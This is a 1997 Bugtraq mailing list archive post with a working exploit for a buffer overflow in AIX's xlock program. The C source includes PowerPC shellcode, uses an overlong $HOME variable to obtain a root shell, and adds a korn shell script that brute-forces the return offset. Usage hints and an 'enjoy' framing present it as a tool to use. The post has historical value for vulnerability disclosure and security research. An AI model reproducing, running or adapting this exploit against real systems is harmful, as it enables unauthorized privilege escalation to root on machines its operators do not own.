Bugtraq mailing list archives
AIX xlock (Exploit)
From: bryan () SCOTT NET (Bryan P. Self)
Date: Mon, 21 Jul 1997 00:56:49 -0500
Yes! Yes! Yes! I know!!!! This exploit is old news. However, I don't remeber this particular exploit being posted to any of the security mailing lists, so I figured I'd go head and post what I have. Enjoy :-) /* * * /usr/bin/X11/xlock exploit (kinda' coded) by BeastMaster V * * CREDITS: this code is simply a modified version of an exploit * posted by Georgi Guninski (guninski () hotmail com) * * This will give a #rootshell# by overwriting a buffer * via the $HOME environment variable in 'xlock' * This exploit is designed for AIX 4.x on PPC platform. * * * USAGE: * $ cc -o foo -g aix_xlock.c * $ ./foo 3200 * # * * HINT: Try giving ranges from 3100 through 3400 * (If these ranges don't work, then run the brute * korn shell script provided after the exploit) * * DISCLAIMER: use this program in a responsible manner. * * --> don't forget to visit http://www.rootshell.com * --> for more goodies :-) * */ #include <stdio.h> #include <stdlib.h> #include <string.h> extern int execv(); #define MAXBUF 600 unsigned int code[]={ 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c , 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 0x7c0903a6 , 0x4e800420, 0x0 }; char *createvar(char *name,char *value) { char *c; int l; l=strlen(name)+strlen(value)+4; if (! (c=malloc(l))) {perror("error allocating");exit(2);}; strcpy(c,name); strcat(c,"="); strcat(c,value); putenv(c); return c; } main(int argc,char **argv,char **env) { unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt; int min=200, max=300; unsigned int return_address; char *newenv[8]; char *args[4]; int offset=3200; if (argc==2) offset = atoi(argv[1]); pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt; *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff); *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff); *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff); *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff); return_address=(unsigned)&buf[0]+offset; for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82; strcpy((char*)&buf[nop],(char*)&code); i=nop+strlen( (char*) &code)/4-1; for(i=0;i<max-1;i++) frame[i]=return_address; frame[i]=0; newenv[0]=createvar("EGGSHEL",(char*)&buf[0]); newenv[1]=createvar("EGGSHE2",(char*)&buf[0]); newenv[2]=createvar("EGGSHE3",(char*)&buf[0]); newenv[3]=createvar("EGGSHE4",(char*)&buf[0]); newenv[4]=createvar("DISPLAY",getenv("DISPLAY")); newenv[5]=createvar("HOME",(char*)&frame[0]); args[0]="xlock"; execve("/usr/bin/X11/xlock",args,newenv); perror("Error executing execve \n"); } ----------- Brute Korn Shell Script ----------- #!/bin/ksh L=3000 O=10 while [ $L -lt 12000 ] do echo $L L=`expr $L + $O` ./foo $L done ----------- End Brute Shell Script ------------
Current thread:
- Solaris ld.so possibly vulnerable? Dan Fleisher (Jul 18)
- Re: Solaris ld.so possibly vulnerable? Illuminatus Primus (Jul 20)
- AIX xlock (Exploit) Bryan P. Self (Jul 20)
- Re: Solaris ld.so possibly vulnerable? Adam Morrison (Jul 21)
- Re: Solaris ld.so possibly vulnerable? Casper Dik (Jul 22)
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